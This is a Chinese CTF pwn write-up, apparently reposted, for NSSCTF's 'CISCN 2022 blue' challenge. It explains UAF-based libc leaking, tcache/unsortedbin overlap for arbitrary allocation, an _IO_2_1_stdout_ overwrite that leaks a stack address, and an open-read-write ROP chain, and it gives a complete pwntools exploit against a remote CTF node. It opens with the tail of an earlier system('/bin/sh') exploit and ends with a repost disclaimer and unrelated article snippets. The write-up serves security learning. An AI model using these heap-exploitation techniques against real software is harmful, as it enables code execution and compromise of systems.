payload12 = b"a"*8*3 + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)
edit(12,payload12)
p.sendline(b"cat flag")
p.interactive()

image-20240715190832783

5. [CISCN 2022 华东北]blue | NSSCTF

思路:

  1. 利用一次性的UAF和show泄漏libc地址,计算出environ地址_IO_2_1_stdout_地址
  2. 利用unsortedbin和tcache,结合使用造成overlaping修改next指针,实现任意地址分配chunk
  3. 修改**_IO_2_1_stdout_结构**,泄漏environ中的栈地址
  4. 利用造成的overlaping修改next指针,分配chunk到栈上,覆盖函数的返回值,写入ORW获取flag。

分析:

  1. 主要看show函数和提供的一次性UAF函数,show函数只能够使用一次,即只能泄漏一次地址:

    image-20240722151423924

  2. 提供的后门函数中,有一次性UAF,只能使用一次:

    image-20240722151547969

利用:

  1. 先利用一次性UAF和show函数泄漏libc地址:

    # 溢出进unsortedbin
    for i in range(9):
        add(0x80,b'a')
    for i in range(7):
        free(i)
    add(0x38,b'a')  #0
    
    backdoor(8)
    show(8)
    p.recv()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = 0x1EbB80
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
     
    #计算environ地址
    system_addr = libc_base+libc.sym["system"]
    sh_addr = libc_base + next(libc.search(b"/bin/sh"))
    environ_addr = libc_base+libc.sym["environ"]
    pop_rdi_ret = libc_base + next(libc.search(asm('pop rdi;ret;')))
    success("system_addr==>"+hex(system_addr))
    success("environ_addr==>"+hex(environ_addr))
    success("bin_sh_addr==>"+hex(sh_addr))
    success("pop_rdi_ret==>"+hex(pop_rdi_ret))
    
  2. 然后,利用之前UAF进入unsortedbin的chunk,再次将其释放进入tcache(先在tcache中清理出来一个空间),此时tcache被放满,且UAF的块已经形成double free,继续申请到unsortedbin中的chunk,直到覆盖掉tcache中的next指针位置,现在可以控制next指针,实现任意地址分配:

    # 实现overlaping,将一个堆块一次放入tcache,一次放入unsortedbin
    # 在通过overlaping申请unsortedbin中的chunk,覆盖到tcache中的next指针
    free(7)         #与目标堆块合并,后续申请更大的堆块时覆盖到目标堆块的next指针
    add(0x80,b"a")  #1 tcache腾出一个位置.后续放目标堆块
    free(8)         #目标堆块进入unsortedbin,目标堆块要选择高地址的chunk
    
    
    add(0x68,b"a")  	#2 在unsortedbin中申请chunk,实现overlaping
    payload = p64(0)*(3)+p64(0x91)+p64(IO_2_1_stdout_addr)
    add(0x68,payload)   #3 一次申请unsortedbin覆盖不到next指针,所以分两次申请
    add(0x80,b"a")  	#4 目标bin
    #修改IO_2_1_stdout_addr结构体
    payload = p64(0xfbad1800)+p64(0)*3+p64(environ_addr)+p64(environ_addr+8)*2
    add(0x80,payload)  	#5 任意地址分配到chunk IO_2_1_stdout_addr,并修改
    heap_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("heap_addr==>"+hex(heap_addr))	#泄漏栈地址
    
    

    先在目标bin前面(低地址)合并一个bin,便于最后在unsortedbin中申请大于0x80的chunk(这样才不会去tcache中拿):

    image-20240722152720725

    将tcache中腾出一个空间后,将目标bin放入tcache:

    image-20240722152924102

    在unsortedbin中申请一个chunk,大小覆盖到next指针即可:

    在这里插入图片描述

    image-20240722160201558

    image-20240722161122210

    接着修改完IO_2_1_stdout_结构后,泄漏出栈地址

    image-20240722163641183

    确定返回值与该栈地址的偏移,申请到返回值处的chunk:

    image-20240722164102393

    后续申请完两次后,也可以一直像这样使用实现任意地址分配chunk,只需要再次释放掉目标bin即可,size未0xa1的chunk一直会覆盖目标bin的next指针,也就是只要free一次目标bin后double free一直存在。所以下面申请到栈地址处的chunk:

    #第二次使用overlaping 
    free(4)
    free(3)
    payload = p64(0)*(3)+p64(0x91)+p64(heap_addr-0x128)
    add(0x68,payload)   #3 一次申请unsortedbin覆盖不到next指针,所以分两次申请
    debug()
    

    image-20240722164455186

  3. 完整EXP:

    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    def debug():
        print(proc.pidof(p))
        pause()
    
    p = remote("node4.anna.nssctf.cn",28344)
    # p = process("./pwn")
    # p = gdb.debug("./pwn")
    libc = ELF('./libc.so.6')
    elf = ELF("./pwn")
    
    def add(size,content):
        p.sendlineafter(b':',b'1')
        p.sendlineafter('Please input size: ', str(size))
        p.sendafter('Please input content: ', content)
    
    def show(index):
        p.sendlineafter(b':',b'3')
        p.sendlineafter(b':',str(index).encode())
    
    def free(index):
        p.sendlineafter(b':',b'2')
        p.sendlineafter('Please input idx: ', str(index))
    
    def backdoor(index):
        p.sendlineafter(b":",b"666")
        p.sendlineafter(b':',str(index).encode())
    
    
    # 溢出进unsortedbin
    for i in range(9):
        add(0x80,b'a')
    for i in range(7):
        free(i)
    add(0x38,b'a')  #0
    
    backdoor(8)
    show(8)
    p.recv()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = 0x1EcB80
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-0x1ecbe0
    success("libc_addr==>"+hex(libc_base))
     
    #计算__free_hook和system地址
    IO_2_1_stdout_addr = libc_base + libc.sym["_IO_2_1_stdout_"]
    environ_addr = libc_base + libc.sym["environ"]
    success("IO_2_1_stdout_addr==>"+hex(IO_2_1_stdout_addr))
    success("environ_addr==>"+hex(environ_addr))
    
    # 实现overlaping,将一个堆块一次放入tcache,一次放入unsortedbin
    # 在通过overlaping申请unsortedbin中的chunk,覆盖到tcache中的next指针
    free(7)         #与目标堆块合并,后续申请更大的堆块时覆盖到目标堆块的next指针
    
    add(0x80,b"a")  #1 tcache腾出一个位置.后续放目标堆块
    free(8)         #目标堆块进入unsortedbin,目标堆块要选择高地址的chunk
    
    add(0x68,b"a")  #2 在unsortedbin中申请chunk,实现overlaping
    payload = p64(0)*(3)+p64(0x91)+p64(IO_2_1_stdout_addr)
    add(0x68,payload)   #3 一次申请unsortedbin覆盖不到next指针,所以分两次申请
    add(0x80,b"a")  #4 目标bin
    #修改IO_2_1_stdout_addr结构体
    payload = p64(0xfbad1800) + p64(0)*3 + p64(environ_addr) + p64(environ_addr+8)*2
    add(0x80,payload)  #5 任意地址分配的chunk IO_2_1_stdout_addr
    stack_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))-0x128
    success("stack_addr==>"+hex(stack_addr))
    
    #第二次使用overlaping 
    free(4)
    free(3)
    
    payload = p64(0)*(3)+p64(0x91)+p64(stack_addr)
    add(0x68,payload)   #3 一次申请unsortedbin覆盖不到next指针,所以分两次申请
    add(0x80,b'a')
    
    # 构造ORW
    read_addr = libc_base + libc.sym['read']
    open_addr = libc_base + libc.sym['open']
    write_addr = libc_base + libc.sym['write']
    puts_addr = libc_base + libc.sym['puts']
    #pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
    pop_rdi_ret = libc_base + 0x0000000000023b6a
    #pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
    pop_rsi_ret = libc_base + 0x000000000002601f
    #pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
    pop_rdx_ret = libc_base + 0x0000000000142c92
    
    flag_addr = stack_addr
    put = stack_addr + 0x200
    
    payload = b'./flag\x00\x00'
    # open('./flag', 0)
    # payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
    payload += flat(pop_rdi_ret,flag_addr,pop_rsi_ret,0,open_addr)
    # read(3, put, 0x50)
    # payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(put) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)
    payload += flat(pop_rdi_ret,3,pop_rsi_ret,put,pop_rdx_ret,0x50,read_addr)
    # puts(put)
    
    # payload += p64(pop_rdi_ret) + p64(put) + p64(puts_addr)
    payload += flat(pop_rdi_ret,put,puts_addr)
    add(0x80, payload)
    
    p.interactive()
    

    成功拿到flag:

    image-20240722181926393

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1943580.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux中,MySQL数据库基础

21 世纪,人类迈入了“信息爆炸时代”,大量的数据、信息在不断产生,伴随而来的就是如何安全、有效地存储、检索和管理它们。对数据的有效存储、高效访问、方便共享和安全控制已经成为信息时代亟待解决的问题。 数据库简介 使用数据库的必要性…

MATLAB--文件操作相关指令

文章目录 文件操作相关指令前言 M文件创建MATLAB文件操作指令MATLAB文件流控制 文件操作相关指令 前言 记录一下M文件创建、操作、获取信息等相关资料。   MATLAB的M文件是用来代替MATLAB命令行窗口输入指令的文件。因此所有的MATLAB指令都可以再MATLAB的M文件中调用. M文件…

算法力扣刷题记录 五十七【236. 二叉树的最近公共祖先】和【235. 二叉搜索树的最近公共祖先】

前言 公共祖先解决。二叉树和二叉搜索树条件下的最近公共祖先。 二叉树篇继续。 一、【236. 二叉树的最近公共祖先】题目阅读 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为:“对于有根树 T 的两个节点 p、q&#xff…

Spring Bean介绍

目录 1.什么是bean 2.获取bean 3.bean的作用域 4.第三方bean 5.Bean的生命周期 6.Bean的种类 7.为什么使用Bean? 1.什么是bean Bean是Java世界中的一种组件,用于封装数据和逻辑,以便在应用程序中重用和维护。它不仅可以装在数据&#x…

Redis哨兵模式实践

本次环境为Centos7.6,redis-7.0.4 1:主备模式:即主节点的数据自动同步到从节点,但当主节点挂了,从节点需要手动设置为主节点,比较麻烦。 2:哨兵模式:当主节点挂了,自动投…

PCL-基于SAC_IA和NDT结合的点云配准算法

一、原理概述1.点云配准流程图2.快速点特征直方图FPFH3.采样一致性SAC_IA粗配准4.正态分布变换NDT精配准 二、实验代码三、实验结果四、总结五、参考 一、原理概述 1.点云配准流程图 2.快速点特征直方图FPFH 快速点特征直方图(Fast Point Feature Histogram&#…

Oracle SQL:了解执行计划和性能调优

查询优化类似于制作完美食谱的艺术——它需要对成分(数据)、厨房(数据库系统)和使用的技术(查询优化器)有深入的了解。每个数据库系统都有自己的处理和运行 SQL 查询的方式,“解释”计划向我们展…

Mysql注意事项(一)

Mysql注意事项(一) 最近回顾了一下MySQL,发现了一些MySQL需要注意的事项,同时也作为学习笔记,记录下来。–2020年05月13日 1、通配符* 检索所有的列。 不建议使用 通常,除非你确定需要表中的每个列&am…

每日刷题记录(codetop版)

7.21 7.22 7.23 复习7.21和7.22

每日OJ_牛客DD1 连续最大和

目录 牛客DD1 连续最大和 解析代码 牛客DD1 连续最大和 连续最大和_牛客题霸_牛客网 解析代码 本题是一个经典的动规问题,简称dp问题,但这个问题是非常简单的dp问题,而且经常会考察,所以一定要把这个题做会。本题题意很简单&am…

探寻安全新时代:叉车AI智能影像防撞系统,守护生命之光

在繁忙的工业现场,叉车司机常常面临着视线受阻的困境,那些被货物遮挡的盲区,仿佛隐藏着无法预知的危险。然而,这样的隐患在一次惨痛的事故中暴露无遗,一名无辜的行人因叉车司机的视线受阻而不幸被撞身亡。这起悲剧让我…

机械设计基础B(学习笔记)

绪论 机构:是一些具备各自特点的和具有确定的相对运动的基本组合的统称。 组成机构的各个相对运动部分称为构件。构件作为运动单元,它可以是单一的整体,也可以是由几个最基本的事物(通常称为零件)组成的刚性结构。 构件…

python·数据分析基础知识

numpy 一个数值计算包 python列表与numpy矩阵区别 python中修改列表元素和列表相加 for循环 :[x1 for x in a] 多个元素需要用zip捆绑:[xy for(x,y) in zip(a,b)] numpy矩阵自动进行相应元素计算 np.array()1各元素1 ab各元素相加 a*b矩阵相乘或者是…

爬虫学习4:爬取王者荣耀技能信息

爬虫:爬取王者荣耀技能信息(代码和代码流程) 代码 # 王者荣耀英雄信息获取 import time from selenium import webdriver from selenium.webdriver.common.by import By if __name__ __main__:fp open("./honorKing.txt", "…

C++的UI框架和开源项目介绍

文章目录 1.QT2.wxWidgets3.Dear ImGui 1.QT QT的开源项目:QGIS(地理信息系统) https://github.com/qgis/QGIS?tabreadme-ov-file 2.wxWidgets wxWidgets的开源项目:filezilla https://svn.filezilla-project.org/svn/ wxWidg…

Matplotlib折线图绘制秘籍:让你的数据线条比过山车还刺激!

1. Matplotlib_折线图 折线图(line chart)是我们日常工作中经常使用的一种图表,它可以直观的反应数据的变化趋势 # 导包 import numpy as np import pandas as pd import matplotlib.pyplot as plt# 如果浏览器不显示图片,就需要…

面试场景题系列--(1)如果系统的 QPS 突然提升 10 倍该怎么设计?--xunznux

1. 如果系统的 QPS 突然提升 10 倍该怎么设计? 1.1 硬件的扩展微服务的拆分 如果所有的业务包括交易系统、会员信息、库存、商品等等都夹杂在一起,当流量一旦起来之后,单体架构的问题就暴露出来了,机器挂了所有的业务就全部无法…

kafka集群搭建-使用zookeeper

1.环境准备: 使用如下3台主机搭建zookeeper集群,由于默认的9092客户端连接端口不在本次使用的云服务器开放端口范围内,故端口改为了8093。 172.2.1.69:8093 172.2.1.70:8093 172.2.1.71:8093 2.下载地址 去官网下载,或者使用如…

达梦索引组织表和堆表

达梦数据库默认创建的是索引组织表,‌而Oracle数据库默认创建的是堆表。‌这两种表类型的区别主要体现在数据存储和组织方式上: 索引组织表(‌Index Organized Table, IOT):‌ 索引组织表‌有且仅有一个聚簇索引键。索引组织表也称“普通表”…

UGUI优化篇--UGUI合批

UGUI合批 UGUI合批规则概述UGUI性能查看工具合批部分的特殊例子一个白色image、蓝色image覆盖了Text,白色image和Text哪个先渲染 Mask合批Mask为什么会产生两个drawcallMask为什么不能合批Mask注意要点 RectMask2D为什么RecMask2D比Mask性能更好主要代码RectMask2D注…